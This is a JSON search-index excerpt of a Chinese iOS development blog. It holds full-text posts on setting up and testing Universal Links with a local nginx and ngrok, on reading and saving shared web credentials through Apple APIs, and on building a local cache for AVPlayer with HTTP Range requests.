--install-dir=/usr/local/bin --filename=composer並依序在 terminal 輸入指令。 ⚠️請注意 ,不要直接複製使用以上範例,因為隨著 Composer 版本更新 hash check 碼也會跟著變。輸入 composer -V 確認版本&安裝成功!參考資料 https://laravel.com/docs/8.x/homestead https://getcomposer.org/download/有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Universal Links 新鮮事", "url": "/posts/12c5026da33d/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, universal-links, app-store, deeplink", "date": "2021-02-04 11:57:25 +0800", "snippet": "Universal Links 新鮮事iOS 13, iOS 14 Universal Links 新鮮事&建立本地測試環境Photo by NASA前言對於一個有網站又有 APP 的服務, Universal Links 的功能對於使用者體驗來說無比的重要,能達到 Web 與 APP 之間的無縫接軌;但一直以來都只有簡單設置,沒有太多的著墨;前陣子剛好又遇到花了點時間研究了一下,把一些有趣...", "content": "Universal Links 新鮮事iOS 13, iOS 14 Universal Links 新鮮事&建立本地測試環境Photo by NASA前言對於一個有網站又有 APP 的服務, Universal Links 的功能對於使用者體驗來說無比的重要,能達到 Web 與 APP 之間的無縫接軌;但一直以來都只有簡單設置,沒有太多的著墨;前陣子剛好又遇到花了點時間研究了一下,把一些有趣的事記錄下來。常見考量經手過的服務,對於實作 Universal Links 的考量都是 APP 上並沒有實作完整的網站功能,Universal Links 認的是域名,只要域名匹配到就會開啟 APP;關於這個問題可以下 NOT 排除 APP 上沒有相應功能的網址,若網站服務網址很極端,那乾脆新建一個 subdomain 用來做 Universal Links。apple-app-site-association 何時更新? iOS < 14,APP 在第一次安裝、更新時會去詢問 Universal Links 網站的 apple-app-site-association。 iOS ≥ 14 ,則是由 Apple CDN 做快取定期更新 Universal Links 網站的 apple-app-site-association;APP 在第一次安裝、更新時會去跟 Apple CDN 拿取;但這邊就會有個問題,Apple CDN 的 apple-app-site-association 可能還是舊的。關於 Apple CDN 的更新機制,查了一下文件,沒有提到;查了下 討論 ,官方也只回應「會定期更新」細節之後會發佈在文件…但至今依然還沒看到。 我自己覺得應該最慢 48 小時,就會更新吧。。。所以下次有更改到 apple-app-site-association 的話建議在 APP 上架更新前幾天就先改好 apple-app-site-association 上線。apple-app-site-association Apple CDN 確認:Headers: HOST=app-site-association.cdn-apple.comGET https://app-site-association.cdn-apple.com/a/v1/你的網域可以取得當前 Apple CDN 上的版本長怎樣。(記得加上 Request Header Host=https://app-site-association.cdn-apple.com/ )iOS ≥ 14 Debug因前述的 CDN 問題,那我們在開發階段該如何 debug 呢?還好這部分蘋果有給解決方法,不然沒辦法即時更新真的要吐血了;我們只需要再 applinks:domain.com 加上 ?mode=developer 即可,另外還有 managed(for 企業內部 APP) , or developer+managed 模式可設定。加上 mode=developer 後,APP 在模擬器上每次 Build & Run 時都會直接跟網站拿最新的 app-site-association 來用。如果要 Build & Run 在實機則要先去「設定」->「開發者」-> 打開「Associated Domains Development」選項即可。 ⚠️ 這邊有個坑 ,app-site-association 可以放在網站根目錄或是 ./.well-known 目錄下;但在 mode=developer 下他只會問 ./.well-known/app-site-association ,害我以為怎麼沒效。開發測試如果是 iOS <14 記得有更改過 app-site-association 的話要刪掉再重 Build & Run APP 才會去抓最新的回來,iOS ≥ 14 請參考前述方法加上 mode=developer。app-site-association 內容的修改,好一點的話可以自行修改伺服器上的檔;但對於有時候碰不到伺服器端的我們來說,如果要做 universal links 的測試會非常的麻煩,要不停的麻煩後端同事幫忙,變成要很確定 app-site-association 內容後一次上線,一直改來改去會把同事逼瘋。在本地建一個模擬環境為了解決上述問題,我們可以在本地起一個小服務。首先在 mac 上安裝 nginx:brew install nginx如果沒安裝過 brew 可先安裝:/bin/bash -c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"安裝完 nginx 後,前往 /usr/local/etc/nginx/ 打開編輯 nginx.conf 檔案:...略server { listen 8080; server_name localhost;#charset koi8-r;#access_log logs/host.access.log main;大概在第 44 行的位置將 location / 裡的 root 換成你想要的目錄位置(這邊以 Documents 為例)。 listen on 8080 port ,如果沒有衝突則不需要修改。儲存修改完後,下指令啟動 nginx:nginx若要停止時,則下:nginx -s stop停止。如果有更改 nginx.conf 記得要下:nginx -s reload重新啟用服務。建立一個 ./.well-known 目錄在剛設定的 root 目錄內,並將 apple-app-site-association 檔案放到 ./.well-known 內。 ⚠️ .well-known 建立後若消失,請注意 Mac 要打開「顯示隱藏資料夾」功能:在 terminal 下:defaults write com.apple.finder AppleShowAllFiles TRUE再下 killall finder 重啟所有 finder,即可。 ⚠️ apple-app-site-association 看起來沒有副檔名,但實際還是有 .json 副檔名:在檔案上按右鍵 -> 「取得資訊 Get Info」->「Name & Extension」-> 檢查有無副檔名&同時可取消勾選「隱藏檔案類型 Hide extension」沒問題後,打開瀏覽器測試以下連結是否正常下載 apple-app-site-association:http://localhost:8080/.well-known/apple-app-site-association如果能正常下載代表本地環境模擬成功! 如果出現 404/403 錯誤則請檢查 root 目錄是否正確、目錄/檔案是否有放入、apple-app-site-association 是否不小心帶了副檔名( .json)。註冊&下載 Ngrokngrok.com解壓縮出 ngrok 執行檔進入 Dashboard 頁面 執行 Config 設定./ngrok authtoken 你的TOKEN設定好之後,下:./ngrok http 8080 因我們的 nginx 在 8080 port。啟動服務。這時候我們會看到一個服務啟動狀態視窗,可以從 Forwarding 中取的此次分配到的公開網址。 ⚠️ 每次啟動分配到的網址都會變,所以僅能作為開發測試使用。 這邊以此次分配到的網址 https://ec87f78bec0f.ngrok.io/ 為例回到瀏覽器改輸入 https://ec87f78bec0f.ngrok.io/.well-known/apple-app-site-association 看看能不能正常下載瀏覽 apple-app-site-association 檔案,如果沒問題則可繼續下一步。將 ngrok 分配到的網址輸入到 Associated Domains applinks: 設定中。記得帶上 ?mode=developer 方便我們測試。重新 Build & Run APP:打開瀏覽器輸入相應的 Universal Links 測試網址(EX: https://ec87f78bec0f.ngrok.io/buy/123 )查看效果。 頁面出現 404 不要理他,因為我們實際沒有那一頁;我們只是要測 iOS 對網址匹配的功能符不符合我們預期;如果上方有出現 「Open」代表匹配成功,另外也可以測 NOT 反向的狀況。點擊「Open」後開啟 APP -> 測試成功! 開發階段都測試 OK 後,將確認修改過之後的 apple-app-site-association 檔案再交給後端上傳到伺服器就能確保萬無一失囉~ 最後記得將 Associated Domains applinks: 改為正試機網址。另外我們也可以從 ngrok 運行狀態視窗中看到每次 APP Build & Run 有沒有跟我們要 apple-app-site-association 檔案:Applinks 設定內容iOS < 13 之前:設定檔較簡單,只有以下內容可設定:{ \"applinks\": { \"apps\": [], \"details\": [ { \"appID\" : \"TeamID.BundleID\", \"paths\": [ \"NOT /help/\", \"*\" ] } ] }}將 TeamID.BundleId 換成你的專案設定 (ex: TeamID = ABCD , BundleID = li.zhgchg.demoapp => ABCD.li.zhgchg.demoapp )。 如果有多個 appID 則要重複加入多組。paths 部分則為匹配規則,能支援以下幾種語法: * :匹配 0~多個字元,ex: /home/* (home/alan…) ? :匹配 1 個字元,ex: 201? (2010~2019) ?* :匹配 1 個~多個字元,ex: /?* (/test、/home. . ) NOT :反向排除,ex: NOT /help (any url but /help)更多玩法組合可自己依照實際情況決定,更多資訊可參考 官方文件 。 - 請注意,他不是 Regex,不支援任何 Regex 寫法。 - 舊版不支援 Query (?name=123)、Anchor ( #title)。 - 中文網址須先轉成 ASCII 後才能放在 paths 中 (所有url 字元均要是 ASCII)。iOS ≥ 13 之後:強化了設定檔內容的功能,多增加支援 Query/Anchor、字符集、編碼處理。\"applinks\": { \"details\": [ { \"appIDs\": [ \"TeamID.BundleID\" ], \"components\": [ { \"#\": \"no_universal_links\", \"exclude\": true, \"comment\": \"Matches any URL whose fragment equals no_universal_links and instructs the system not to open it as a universal link\" }, { \"/\": \"/buy/*\", \"comment\": \"Matches any URL whose path starts with /buy/\" }, { \"/\": \"/help/website/*\", \"exclude\": true, \"comment\": \"Matches any URL whose path starts with /help/website/ and instructs the system not to open it as a universal link\" }, { \"/\": \"/help/*\", \"?\": { \"articleNumber\": \"????\" }, \"comment\": \"Matches any URL whose path starts with /help/ and that has a query item with name 'articleNumber' and a value of exactly 4 characters\" } ] } ]}轉貼自官方文件,可以看到格式有所改變。appIDs 為陣列,可放入多組 appID,這樣就不用像以前一樣只能整個區塊重複輸入。 WWDC 有提到與舊版兼容, 當 iOS ≥ 13 有讀到新的格式就會忽略舊的 paths 。匹配規則改放在 components 中;支援 3 種類型: / : URL ? :Query,ex: ?name=123&place=tw # :Anchor,ex: #title並且可以搭配使用,假設今天 /user/?id=100#detail 才需要跳到 APP 則可寫成:{ \"/\": \"/user/*\", \"?\": { \"id\": \"*\" }, \"#\": \"detail\"}其中匹配語法同原本語法,也是支援 * ? ?* 。新增 comment 註解欄位,可輸入註解方便辨識。(但請注意這是公開的,別人也看得到)反向排除則改為指定 exclude: true 。新增 caseSensitive 指定功能,可指定匹配規則是否對大小寫敏感, 預設:true ,有這需求的話可以少寫許多規則。新增 percentEncoded 前面說到的,舊版需要先將網址轉為 ASCII 放到 paths 中(如果是中文字會變得很醜無法辨識);這個參數就是是否要幫我們自動 encode, 預設是 true 。假設是中文網址就能直接放入了(ex: /客服中心 )。詳細官方文件可 參考此 。預設字符集:這算是這次更新蠻重要的功能之一,新增支援字符集。系統幫我們定義好的字符集: $(alpha) :A-Z 和 a-z $(upper) :A-Z $(lower) :a-z $(alnum) :A-Z 和 a-z 和 0–9 $(digit) :0–9 $(xdigit) :十六進制字符,0–9 和 a,b,c,d,e,f,A,B,C,D,E,F $(region) :ISO 地區編碼 isoRegionCodes ,Ex: TW $(lang) :ISO 語言編碼 isoLanguageCodes ,Ex: zh假設我們的網址有多語系,我想要支援 Universal links 時,可以這樣設定:\"components\": [ { \"/\" : \"/$(lang)-$(region)/$(food)/home\" } ]這樣不管是 /zh-TW/home 、 /en-US/home 都能支援,非常方便,不用自己寫一整排規則!自訂字符集:除了預設字符集之外,我們也能自訂字符集,增加設定檔復用、可讀性。在 applinks 中加入 substitutionVariables 即可:{ \"applinks\": { \"substitutionVariables\": { \"food\": [ \"burrito\", \"pizza\", \"sushi\", \"samosa\" ] }, \"details\": [{ \"appIDs\": [ ... ], \"components\": [ { \"/\" : \"/$(food)/\" } ] }] }}範例中自訂了一個 food 字符集,並在後續 components 中使用。以上範例可匹配 /burrito , /pizza , /sushi , /samosa 。細節可參考 此篇 官方文件。沒有靈感?如果對設定檔內容沒有靈感,可偷偷參考其他網站福的內容,只要在服務網站首頁網址加上 /app-site-association 或 /.well-known/app-site-association 即可讀取他們的設定。例如: https://www.netflix.com/apple-app-site-association補充在有使用 SceneDelegate 的情況下,open universal link 的進入點是在SceneDelegate 中:func scene(_ scene: UIScene, continue userActivity: NSUserActivity)而非 AppDelegate 的:func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS 跨平台帳號密碼整合加強登入體驗", "url": "/posts/948ed34efa09/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, password-security, web-credential, sign-in-with-apple", "date": "2021-02-02 22:13:50 +0800", "snippet": "iOS 跨平台帳號密碼整合,加強登入體驗除 Sign in with Apple 也值得加入的功能Photo by Dan Nelson功能在同時有網站又有 APP 的服務中最常遇到的問題就是使用者在網站登入註冊過,且有記憶密碼;但被引導安裝 APP 後,打開登入要從頭輸入帳號密碼非常不方便;此功能就是能將已存在在手機的帳號密碼自動帶入到與網站關聯的 APP 之中,加速使用者登入流程。效果圖...", "content": "iOS 跨平台帳號密碼整合,加強登入體驗除 Sign in with Apple 也值得加入的功能Photo by Dan Nelson功能在同時有網站又有 APP 的服務中最常遇到的問題就是使用者在網站登入註冊過,且有記憶密碼;但被引導安裝 APP 後,打開登入要從頭輸入帳號密碼非常不方便;此功能就是能將已存在在手機的帳號密碼自動帶入到與網站關聯的 APP 之中,加速使用者登入流程。效果圖不囉唆,先上完成效果圖;第一眼看到可能會以為是 iOS ≥ 11 Password AutoFill 功能;不過請您仔細看,鍵盤並沒有跳出來,而且我是點擊「選擇已存密碼」按鈕才跳出帳號密碼選擇視窗的。既然提到了 Password AutoFill 那就先讓我賣個關子,先介紹 Password AutoFill 和如何設置吧!Password AutoFill支援度:iOS ≥ 11到如今已經 iOS 14 了,這個功能已經非常常見沒什麼特別的;在 APP 中的帳號密碼登入頁,叫出鍵盤輸入時可以快速選擇網站版服務的帳號密碼,選擇後就能自動帶入,快速登入!那麼 APP 與 Web 之間是如何相認的呢?Associated Domains!我們在 APP 中指定 Associated Domains 並在網站上上傳 apple-app-site-association 檔案,兩邊就能相認。1.在專案設定中的「Signing & Capabilities」-> 左上「+ Capabilities」->「Associated Domains」新增 webcredentials:你的網站域名 (ex: webcredentials:google.com )。2.進入 蘋果開發者後台在「 Membership 」Tab 地方記錄下「 Team ID 」3.進入「Certificates, Identifiers & Profiles」->「Identifiers」-> 找到你的專案 -> 打開「Associated Domains」功能APP 端設定完成!4.Web網站端設定建立一個名為「 apple-app-site-association 」的檔案(無副檔名),使用文字編輯器編輯,並輸入以下內容:{ \"webcredentials\": { \"apps\": [ \"TeamID.BundleId\" ] }}將 TeamID.BundleId 換成你的專案設定 (ex: TeamID = ABCD , BundleID = li.zhgchg.demoapp => ABCD.li.zhgchg.demoapp )將此檔案上傳到網站 根目錄 或 /.well-known 目錄下,假設你的 webcredentials 網站域名 是設 google.com 則此檔案就要是 google.com/apple-app-site-association 或 google.com/.well-know/apple-app-site-association 有辦法存取到的。補充:Subdomains摘錄官方文件,如果是 subdomains 則都須列在 Associated Domains 之中。Web 端設定完成!補充:applinks這邊有發現如果有設過 universal link applinks ,其實不用再多加 webcredentials 部分也能有效果;但我們還是照文件來吧,難保之後不會有其他問題。回到程式Code 部分,我們只需要將 TextField 設為 :usernameTextField.textContentType = .usernamepasswordTextField.textContentType = .password如果是新註冊,密碼確認欄位可使用:repeatPasswordTextField.textContentType = .newPassword這時候再重 Build & Run APP 後,在輸入帳號時鍵盤上方就會出現同個網站下已存密碼的選項了。完成!沒出現?可能是沒打開自動填寫密碼功能(模擬器預設是關閉),請到「設定」->「密碼」->「自動填寫密碼」->打開「自動填寫密碼」。抑或是該網站沒有已存在的密碼,一樣可在「設定」->「密碼」-> 右上角「+ 新增」-> 新增。進入主題前菜 Password AutoFill 介紹完之後,再來進入本篇主題;如何達到效果圖中的效果呢。Shared Web Credentials始於 iOS 8.0 只是之前很少看到 APP 使用,早在 Password AutoFill 出來之前其實就能使用此 API 整合網站帳號密碼讓使用者快速選擇。Shared Web Credentials 除了能讀取帳號密碼,還能新增帳號密碼、對已存的帳號密碼進行修改、刪除。設定 ⚠️ 設定部分一樣要設好 Associated Domains,同前述 Password AutoFill 設定。 所以可以說是 Password AutoFill 功能的加強版!!因為一樣要先設好 Password AutoFill 需要的環境才能使用此「進階」功能。讀取讀取使用 SecRequestSharedWebCredential 方法進行操作:SecRequestSharedWebCredential(nil, nil) { (credentials, error) in guard error == nil else { DispatchQueue.main.async { //alert error } return } guard CFArrayGetCount(credentials) > 0, let dict = unsafeBitCast(CFArrayGetValueAtIndex(credentials, 0), to: CFDictionary.self) as? Dictionary<String, String>, let account = dict[kSecAttrAccount as String], let password = dict[kSecSharedPassword as String] else { DispatchQueue.main.async { //alert error } return } DispatchQueue.main.async { //fill account,password to textfield }}SecRequestSharedWebCredential(fqdn, account, completionHandler) fqdn 如果有多個 webcredentials domain 可以指定某一個,或使用 null 不指定 account 指定要查某一個帳號,使用 null 不指定效果圖。(你可能有發現跟開始的效果圖不一樣) ⚠️ 因為此讀取方法已在 iOS 14 被標示 Deprecated! ⚠️ 因為此讀取方法已在 iOS 14 被標示 Deprecated! ⚠️ 因為此讀取方法已在 iOS 14 被標示 Deprecated! \"Use ASAuthorizationController to make an ASAuthorizationPasswordRequest (AuthenticationServices framework)\"此方法僅適用 iOS 8 ~ iOS 14,iOS 13 之後可改用同 Sign in with Apple 的 API — 「 AuthenticationServices 」AuthenticationServices 讀取方式支援度 iOS ≥ 13import AuthenticationServicesclass ViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() //... let request: ASAuthorizationPasswordRequest = ASAuthorizationPasswordProvider().createRequest() let controller = ASAuthorizationController(authorizationRequests: [request]) controller.delegate = self controller.performRequests() //... }}extension ViewController: ASAuthorizationControllerDelegate { func authorizationController(controller: ASAuthorizationController, didCompleteWithAuthorization authorization: ASAuthorization) { if let credential = authorization.credential as? ASPasswordCredential { // fill credential.user, credential.password to textfield } // else if as? ASAuthorizationAppleIDCredential... sign in with apple } func authorizationController(controller: ASAuthorizationController, didCompleteWithError error: Error) { // alert error }}效果圖,可以看到新的做法在流程上、顯示上都能跟 Sign in with Apple 整合得更好。 ⚠️ 此登入無法取代 Sign in with Apple(兩個是不同東西)。寫入帳號密碼到「密碼」被 Deprecated 的只有讀取的部分,新增、刪除、編輯的部分都還是照舊能用。新增、刪除、編輯的部分使用 SecAddSharedWebCredential 進行操作。SecAddSharedWebCredential(domain as CFString, account as CFString, password as CFString?) { (error) in DispatchQueue.main.async { guard error == nil else { // alert error return } // alert success }}SecAddSharedWebCredential(fqdn, account, password, completionHandler) fqdn 可隨意指定要存入的 domain 不一定要在 webcredentials 中 account 指定要新增、修改、刪除的帳號 如果要刪除資料則將 password 帶入 nil 處理邏輯:- account 存在&有帶入 password = 修改 password- account 存在&password 帶入 nil = 從 domain 刪除 account, password- account 不存在&有帶入 password = 新增 account, password 到 domain ⚠️ 另外也不是能讓你在背景偷修改的,每次修改都會跳出提示框提示使用者,使用者按「更新密碼」才會真的修改資料。密碼產生器最後一個小功能,密碼產生器。使用 SecCreateSharedWebCredentialPassword() 進行操作。let password = SecCreateSharedWebCredentialPassword() as String? ?? \"\"產生器產生出來的 Password 由英文大小寫及數字並使用「-」組成 (ex: Jpn-4t2-gaF-dYk)。完整測試專案下載美中不足如果有使用第三方密碼管理工具(EX: onepass、lastpass)的朋友可能會發現,如果是鍵盤的 Password AutoFill 能支援顯示&輸入,但是在 AuthenticationServices 或 SecRequestSharedWebCredential 當中都沒有顯示出來;不確定有沒有辦法達成這個需求。結束感謝大家閱讀,也感謝 saiday 、街聲讓我知道有這個功能 XD。還有 XCode ≥ 12.5 模擬器新增錄影,並支援儲存成 GIF 功能太好用啦!在模擬器上按「Command」+「R」開始錄影,按一下紅點停止錄影;在右下角滑出的預覽圖上按「右鍵」->「Save as Animated GIF」即可存成 GIF 然後直接貼到文章內!有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "AVPlayer 實踐本地 Cache 功能大全", "url": "/posts/6ce488898003/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, cache, avplayer, music-player-app", "date": "2021-01-31 18:41:42 +0800", "snippet": "AVPlayer 實踐本地 Cache 功能大全AVPlayer/AVQueuePlayer with AVURLAsset 實作 AVAssetResourceLoaderDelegatePhoto by Tyler Lastovich[2023/03/12] Update我將之前的實作開源了,有需求的朋友可直接使用。 客製化 Cache 策略,可以用 PINCache or 其他… ...", "content": "AVPlayer 實踐本地 Cache 功能大全AVPlayer/AVQueuePlayer with AVURLAsset 實作 AVAssetResourceLoaderDelegatePhoto by Tyler Lastovich[2023/03/12] Update我將之前的實作開源了,有需求的朋友可直接使用。 客製化 Cache 策略,可以用 PINCache or 其他… 外部只需呼叫 make AVAsset 工廠,帶入 URL,則 AVAsset 就能支援 Caching 使用 Combine 實現 Data Flow 策略 寫了一些測試前言既上一篇「 iOS HLS Cache 實踐方法探究之旅 」後已過了大半年,團隊還是一直想要實現邊播邊 Cache 功能因為對成本的影響極大;我們是音樂串流平台,如果每次播放同樣的歌曲都要重新拿整個檔案,對我們或對非吃到飽的使用者來說都很傷流量,雖然音樂檔案頂多幾 MB,但積沙成塔都是錢!另外因為 Android 那邊已經有實作邊播邊 Cache 的功能了,之前有比較過花費,Android 端上線後明顯節省了許多流量;相對更多使用者的 iOS 應該能有更好的節流體現。根據 上一篇 的經驗,如果我們要繼續使用 HLS ( .m3u8/.ts) 來達成目的;事情將會變得非常複雜甚至無法達成;我們退而求其次退回去使用 mp3 檔,這樣就能直接使用 AVAssetResourceLoaderDelegate 進行實作。目標 播放過的音樂會在本地產生 Cache 備份 播放音樂時先檢查本地有無 Cache 讀取,有則不再重伺服器要檔案 可設 Cache 策略;上限總容量,超過時開始刪除最舊的 Cache 檔案 不干涉原本 AVPlayer 播放機制(不然最快的方法就是自己先用 URLSession 把 mp3 載下來塞給 AVPlayer,但這樣就失去原本能播到哪載到哪的功能,使用者需要等待更長時間&更消耗流量)前導知識 (1)— HTTP/1.1 Range 範圍請求、Connection Keep-AliveHTTP/1.1 Range 範圍請求首先我們要先了解在播放影片、音樂時是怎麼跟伺服器要求資料的;一般來說影片、音樂檔案都很大,不可能等到全部拿完才開始播放常見的是播到哪拿到了,只要有正在播放區段的資料就能運作。要達到這個功能的方法就是透過 HTTP/1.1 Range 只返回指定資料字節範圍的資料,例如指定 0–100 就只返回 0–100 這 100 bytes 大小的資料;透過這個方法,可以依序分段取得資料,然後再彙整再一起成完整的檔案;這個方法也能運用在檔案下載續傳功能上。如何應用?我們會先使用 HEAD 去看 Response Header 了解到伺服器是否支援 Range 範圍請求、資源總長度、檔案類型:curl -i -X HEAD http://zhgchg.li/music.mp3使用 HEAD 我們能從 Response Header 得到以下資訊: Accept-Ranges: bytes 代表伺服器支援 Range 範圍請求如果沒有 Response 這個值或是是 Accept-Ranges: none 都代表不支援 Content-Length: 資源總長度,我們要知道總長度才能去分段要資料。 Content-Type: 檔案類型,AVPlayer 播放時需要知道的資訊。但有時我們也會使用 GET Range: bytes=0–1 ,意思是我要求 0–1 範圍的資料但實際我根本不 Care 0–1是什麼內容,我只是要看 Response Header 的資訊; 原生 AVPlayer 就是使用 GET 去看,所以本篇也照舊使用 。 但比較建議使用 HEAD 去看,一方法比較正確,另一方面萬一伺服器不支援 Range 功能;用 GET 去摸就會變強迫下載完整檔案。curl -i -X GET http://zhgchg.li/music.mp3 -H \"Range: bytes=0–1\"使用 GET 我們能從 Response Header 得到以下資訊: Accept-Ranges: bytes 代表伺服器支援 Range 範圍請求如果沒有 Response 這個值或是是 Accept-Ranges: none 都代表不支援 Content-Range: bytes 0–1/資源總長度 ,「/」後的數字及資源總長度,我們要知道總長度才能去分段要資料。 Content-Type: 檔案類型,AVPlayer 播放時需要知道的資訊。知道伺服器支援 Range 範圍請求後,就能分段發起範圍請求:curl -i -X GET http://zhgchg.li/music.mp3 -H \"Range: bytes=0–100\"伺服器會返回 206 Partial Content:Content-Range: bytes 0-100/總長度Content-Length: 100...(binary content)這時我們就得到 Range 0–100 的 Data,可再繼續發新請求拿 Range 100–200. .200–300…到結束。如果拿的 Range 超過資源總長度會返回 416 Range Not Satisfiable。另外,想拿完整檔案資料除了可以請求 Range 0-總長度,也可以使用 0- 方式即可:curl -i -X GET http://zhgchg.li/music.mp3 -H \"Range: bytes=0–\"其他還可以同個請求要求多個 Range 資料及下條件式子,但我們用不到,詳情可 參考這 。Connection Keep-Alivehttp 1.1 預設是開啟狀態, 此特性能實時取得已下載的資料 ,例如檔案 5 mb,能 16 kb、16 kb、16 kb… 的取得,不用等到 5mb 都好才給你。Connection: Keey-Alive如果發現伺服器不支援 Range、 Keep-Alive ? 那也不用搞這麼多了,直接自己用 URLSession 下載完 mp3 檔案塞給播放器就好….但這不是我們要的結果,可以請後端幫忙修改伺服器設定。前導知識 (2) — AVPlayer 原生是如何處理 AVURLAsset 資源?當我們使用 AVURLAsset init with URL 資源並賦予給 AVPlayer/AVQueuePlayer 開始播放之後,同上所述,首先會用 GET Range 0–1 去取得是否支援 Range 範圍請求、資源總長度、檔案類型這三個資訊。有了檔案資訊後,會再發起第二次請求,請求從 0-總長度 的資料。 ⚠️ AVPlayer 會請求從 0-總長度 的資料,並透過實時取得已下載的資料特性 ( 16 kb、16 kb、16 kb…) 取得到他覺得資料足夠後,會發起 Cancel 取消這個網路請求 (所以實際也不會拿完,除非檔案太小)。 繼續播放後才會透過 Range 往後請求資料。 (這部分跟我之前想的不一樣,我以為會是0–100、100–200. .這樣請求)AVPlayer 請求範例:1. GET Range 0-1 => Response: 總長度 150000 / public.mp3 / true2. GET 0-150000...3. 16 kb receive4. 16 kb receive...5. cancel() // current offset is 7006. 繼續播放7. GET 700-150000...8. 16 kb receive9. 16 kb receive...10. cancel() // current offset is 150011. 繼續播放12. GET 1500-150000...13. 16 kb receive14. 16 kb receive...16. If seek to...500017. cancel(12.) // current offset is 200018. GET 5000-150000...19. 16 kb receive20. 16 kb receive...... ⚠️ iOS ≤12 的情況下,會先發幾個較短的請求試著摸摸看(?然後才會發要求到總長度的請求; iOS ≥ 13 則會直接發要求到總長度的請求。還有個題外的坑,就是在觀察怎麼拿資源的時候,我使用了 mitmproxy 工具嗅探,結果發現它顯示有錯,會等到 response 全部回來才會顯示,而不是顯示分段、使用持久連接接續下載;害我嚇了一大跳!以為 iOS 很笨居然每次都要整個檔案回來!下次要用工具時要有保持一點懷疑 OrzCancel 發起的時機 前面說到的第二次請求,請求從 0 開始 到總長度的資源,有足夠 Data 後會發起 Cancel 取消請求。 Seek 時會先發起 Cancel 取消先前的請求。 ⚠️ 在 AVQueuePlayer 中切換到下一個資源、AVPlayer 更換播放資源時並不會發起 Cancel 取消前一首的請求。AVQueue Pre-buffering其實也是同樣呼叫 Resource Loader 處理,只是他要求的資料範圍會比較小。實現有了以上前導知識後我們來看實現 AVPlayer 本地 Cache 功能的原理方式。就是之前有提到的 AVAssetResourceLoaderDelegate ,這個接口讓我們能 自行實踐 Resource Loader 給 Asset 用。Resource Loader 實際就是個打工仔,播放器是要檔案資訊還是檔案資料,範圍哪裡都哪裡都是他告訴我們,我們去做就是。 看到有範例是一個 Resource Loader 服務所有 AVURLAsset ,我覺得是錯的,應該要一個 Resource Loader 服務一個 AVURLAsset,跟著 AVURLAsset 的生命週期,他本來就屬於 AVURLAsset。 一個 Resource Loader 服務所有 AVURLAsset 在 AVQueuePlayer 上會變得非常複雜且難以管理。進入自訂的 Resource Loader 的時機點要注意的是不是實踐了自己的 Resource Loader 他就會理你,只有當系統無法辨識處理這個資源的時候,才會走你的 Resource Loader。所以我們在將 URL 資源給予 AVURLAsset 之前要先將 Scheme 換成我們自訂的 Scheme,不能是 http/https… 這些系統能處理的 Scheme。http://zhgchg.li/music.mp3 => cacheable://zhgchg.li/music.mp3AVAssetResourceLoaderDelegate只有兩個方法需要實現: func resourceLoader( _ resourceLoader: AVAssetResourceLoader, shouldWaitForLoadingOfRequestedResource loadingRequest : AVAssetResourceLoadingRequest) -> Bool :此方法問我們能不能處理此資源,return true 能,return false 我們也不處理(unsupported url)。我們能從 loadingRequest 取出要請求什麼(第一次請求檔案資訊還是請求資料,請求資料的話 Range 是多少到多少);知道請求後我們自行發起請求去拿資料, 在這我們就能決定要發起 URLSession 還是從本地返回 Data 。另外也能在此做 Data 加解密操作,保護原始資料。 func resourceLoader( _ resourceLoader: AVAssetResourceLoader, didCancel loadingRequest : AVAssetResourceLoadingRequest) :前述說到的 Cancel 發起時機 發起 Cancel 時…我們可以在這去取消正在請求的 URLSession。本地 Cache 實現方式Cache 的部分我直接使用 PINCache ,將 Cache 工作交由他處理,免去我們要處理 Cache 讀寫 DeadLock、清除 Cache LRU 策略 實作上的問題。 ️️⚠️️️️️️️️️️️OOM警告! 因為這邊是針對音樂做 Cache 檔案大小頂多 10 MB 上下,所以才能使用 PINCache 作為本地 Cache 工具;如果是要服務影片就無法使用此方法(可能一次要載入好幾 GB 的資料到記憶體)有這部分需求可參考大大的做法,用 FileHandle seek read/write 的特性進行處理。開工!不囉唆,先上完整專案:AssetData本地 Cache 資料物件映射實現 NSCoding,因 PINCache 是依賴 archivedData 方法 encode/decode。import Foundationimport CryptoKitclass AssetDataContentInformation: NSObject, NSCoding { @objc var contentLength: Int64 = 0 @objc var contentType: String = \"\" @objc var isByteRangeAccessSupported: Bool = false func encode(with coder: NSCoder) { coder.encode(self.contentLength, forKey: #keyPath(AssetDataContentInformation.contentLength)) coder.encode(self.contentType, forKey: #keyPath(AssetDataContentInformation.contentType)) coder.encode(self.isByteRangeAccessSupported, forKey: #keyPath(AssetDataContentInformation.isByteRangeAccessSupported)) } override init() { super.init() } required init?(coder: NSCoder) { super.init() self.contentLength = coder.decodeInt64(forKey: #keyPath(AssetDataContentInformation.contentLength)) self.contentType = coder.decodeObject(forKey: #keyPath(AssetDataContentInformation.contentType)) as? String ?? \"\" self.isByteRangeAccessSupported = coder.decodeObject(forKey: #keyPath(AssetDataContentInformation.isByteRangeAccessSupported)) as? Bool ?? false }}class AssetData: NSObject, NSCoding { @objc var contentInformation: AssetDataContentInformation = AssetDataContentInformation() @objc var mediaData: Data = Data() override init() { super.init() } func encode(with coder: NSCoder) { coder.encode(self.contentInformation, forKey: #keyPath(AssetData.contentInformation)) coder.encode(self.mediaData, forKey: #keyPath(AssetData.mediaData)) } required init?(coder: NSCoder) { super.init() self.contentInformation = coder.decodeObject(forKey: #keyPath(AssetData.contentInformation)) as? AssetDataContentInformation ?? AssetDataContentInformation() self.mediaData = coder.decodeObject(forKey: #keyPath(AssetData.mediaData)) as? Data ?? Data() }}AssetData 存放: contentInformation : AssetDataContentInformationAssetDataContentInformation :存放 是否支援 Range 範圍請求(isByteRangeAccessSupported)、資源總長度(contentLength)、檔案類型(contentType) mediaData : 原始音訊 Data (這邊檔案太大會 OOM)PINCacheAssetDataManager封裝 Data 存入、取出 PINCache 邏輯。import PINCacheimport Foundationprotocol AssetDataManager: NSObject { func retrieveAssetData() -> AssetData? func saveContentInformation(_ contentInformation: 